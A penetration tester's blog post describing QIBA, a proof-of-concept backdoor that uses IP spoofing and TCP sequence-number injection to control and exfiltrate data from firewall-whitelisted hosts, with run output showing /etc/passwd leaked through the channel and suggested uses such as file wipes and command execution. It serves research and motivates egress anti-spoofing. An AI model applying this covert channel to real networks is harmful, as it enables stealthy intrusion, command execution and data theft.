By now everyone has probably heard of Quantum Insert NSA style, if you haven’t then I’d recommend to check out some articles at the end of this post. For those who have been around for a while the technique is not new of course and there have been multiple tools in the past that implemented this type of attack. The tools enabled you to for example fully hijack a telnet connection to insert your own commands, terminate existing connections or just generally mess around with the connection. Most of the tools relied on the fact that they could intercept traffic on the local network and then forge the TCP/IP sequence numbers (long gone are the days that you could just predict them).
So it seems this type of attack, in which knowing the sequences numbers aids in forging a spoofed packet, has been used in two very specific manners:
- Old Skool on local networks to inject into TCP streams
- NSA style by globally monitoring connections and injecting packets
There is a third option however that hasn’t been explored yet as far as i know, which is using this technique to bypass IP filters for bi-directional communication. You might wonder when this might come in handy right? After all most of the attackers are used to either directly exfiltrate through HTTPS or in a worst case scenario fall back to good old DNS. These methods however don’t cover some of the more isolated hosts that you sometimes encounter during an assignment.
During a couple of assignments I encountered multiple hosts which were shielded by a network firewall only allowing certain IP addresses to or from the box. The following diagram depicts the situation:
As you can see in the above diagram, for some reason the owner of the box had decided that communication with internet was needed, but only to certain IP addresses. This got me thinking on how I could exfiltrate information. The easiest way was of course to exfiltrate the information in the same way that I had obtained access to the box, which was through SSH and password reuse. I didn’t identify any other methods of exfiltration during the assignment. This was of course not the most ideal way out, since it required passing the information through multiple infected hops in the network which could attract some attention from the people in charge of defending the network.
A more elegant way in my opinion would have been to directly exfiltrate from the machine itself and avoid having a continuous connection to the machine from within the network. In this post we are going to explore the solution I found for this challenge, which is to repurpose the well known quantum insert technique to attempt and build a bi-directional communication channel with spoofed IP addresses to be able to exfiltrate from these type of isolated hosts. If you are thinking ‘this only works if IP filtering or anti address spoofing is not enforced’ then you are right. So besides the on going DDOS attacks, this is yet another reason to block outgoing spoofed packets.
If you are already familiar with IP spoofing, forging packets and quantum insert you can also skip the rest of this post and jump directly to QIBA – A quantum insert backdoor POC. Please be aware that I only tested this in a lab setup, no guarantees on real world usage :)
Lastly as you are probably used to by now, the code illustrates the concept and proofs it works, but it’s nowhere near ready for production usage.
The end goal is pretty clear right? All we want is to be able to obtain bi-directional communication from an isolated host (whitelisted IP addresses, no dns) towards a host on the internet. The following diagram depicts the way we want to achieve this by illustrating one way communication:
Let’s go through the above image and explain some additional details:
- Control Connection
- This is a connection we setup to the whitelisted machine so that we can control the data rate on it and use it to receive injected packets
- We leak the the following information
- ControlConnection source port
- ControlConnection sequence number
- ControlConnection acknowledgment number
- We use SYN packets towards the whitelisted machine with the SPOOFED IP address of our attack server
- We leak the the following information
- Receive Leak
- The whitelisted machine will respond with a SYN/ACK towards our attack server, thus enabling us to receive the leaked information
- Inject spoofed packet
- We now have all the information necessary to send a packet towards our infected machine SPOOFING the IP address of the whitelisted machine
Before we start building the actual tool let’s first see if the concept is viable by building a small POC which demonstrates the ability to inject data towards an isolated host. This is something that we know is possible since it has been done before, but it doesn’t hurt to replicate it, since it’s the basics for the rest of the tool we want to build.
We need to build the following components:
On the infected host (poc_client.py)
- A control connection
- A sniffer
- A way to leak sequence numbers
On the command & control server (poc_server.py)
- A way to identify the leaked sequence numbers
- Something that injects the packets towards our hosts
So this is by no means fully bi-directional, but it provides just enough logic that it should give us enough confidence that the rest of the concept will also work. The first thing to notice is of course that using IP spoofing you can exfiltrate information from an isolated host by encoding it in the sequence number for example, with the downside that it’s a low bandwidth channel of course.
The POC is a bit messy and sometimes doesn’t work, but the points we talked about before are there and demonstrate at least a half-duplex capability of injecting controlled packets towards an isolated host, with the clear potential of evolving into a bi-directional channel. If everything goes alright the control connection should receive the words “INJECT” and “WIPE”. With a bit of imagination you can think of some useful things to do with the POC yourself, for example:
- Inject new C&C IP address towards an isolated host
- Initiate a WIPE action of files or hosts
- Transmit commands to execute
It’s of course more interesting to be able to also receive data in the same way, which would actually enable us to control an isolated host even when it’s fully shielded and is only allowed to talk to one IP address. So let’s try and build a backdoor that works using this principle.
QIBA – A quantum insert backdoor
The POC basically contains everything we need to create a bi-directional backdoor. The reason why is because the following building blocks are present:
- receive data from an injected packet into the control connection
- leak data through the seq/ack numbers of the whitelisted host
The main difference is that you need to implement additional signalling and the ability to execute commands as well as cutting the command output into small chunks. Due to the properties of TCP/IP you also have to account for duplicate packets since the TCP/IP stack of the whitelisted IP will resend packets when it receives no answer. To compensate for this you just need to add a small one byte checksum to each packet so that you can recognise it when you receive it. Yes, this does further limit the bandwidth from 4 to 3 bytes, c’est la vie. The one I choose is pretty simple and thus not ideal, but it works for now:
if ((ord(encdata) + ord(encdata) + ord(encdata)) % 0xff) == ord(encdata):
Like you can see I just add all the bytes and mod it against 255, which for now seems to be more than enough. Additionally to ensure that I receive all the data in the correct order I implemented some timeouts which seem to do the job just fine. In a more real world implementation you’d implement a more robust signalling protocol as well as some error correcting code. Let’s see how this all looks like:
sudo python qiba_server.py 172.16.218.152 172.16.218.168 8080 "cat /etc/passwd" Injecting::::::: <IP frag=0 proto=tcp src=172.16.218.152 dst=172.16.218.168 |<TCP sport=http_alt dport=43294 seq=729684595 ack=1783071637 flags=PA |<Raw load='cat /etc/passwd:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' |>>> . Sent 1 packets. cmdoutput::::::: roo cmdoutput::::::: t:x cmdoutput::::::: t:x cmdoutput::::::: :0: cmdoutput::::::: 0:r cmdoutput::::::: t:x cmdoutput::::::: oot cmdoutput::::::: :/r cmdoutput::::::: oot cmdoutput::::::: :/b cmdoutput::::::: t:x [...] root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologinnc:x:4:65534:sync:/bin:/bin/sync
sudo ./qiba_client.py 172.16.218.152 172.16.218.174 8080 Sent 1 packets. . Sent 1 packets. . Sent 1 packets. Getdata attempt::::::: RECEIVED::::::: cat /etc/passwd:aaaaaaaaaaaaaa[...] CMD::::::: cat /etc/passwd CMD OUTPUT::::::: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin [...] Exfildata::::::: rooQ Exfildata enc::::::: 726f6f51 Exfildata int::::::: 1919905617 . Sent 1 packets. Exfildata::::::: t:x' Exfildata enc::::::: 743a7827 Exfildata int::::::: 1949988903 . Sent 1 packets. Exfildata::::::: :0:� Exfildata enc::::::: 3a303aa4 Exfildata int::::::: 976239268
Well that looks like fun right? We are now controlling a host that is only allowed to talk to a single IP using spoofed packets and sequence / acknowledgement numbers as the exfiltration channel.
Restrictions & practical applications
While the QIBA POC proofs that the concept works, there are of course a couple of limitations:
- The whitelisted host should not implement IP or port whitelists itself
- The victim should be able to spoof IP addresses
- The attacker needs to know the IP address of the victims
Which might make you wonder what the practical uses of this concept can be? Well I’d say the following are pretty realistic:
- proof that an infection has succeeded by notifying the CC regardless of IP whitelist
- exfiltrate information regardless of IP whitelists
The reason that I deem the above realistic is because the the only thing the infection needs to do is monitor the current connections and attempt to exfiltrate through the IPs it sees. This has of course no guarantee whatsoever, but it’s better then not being able to exfiltrate at all in my opinion :)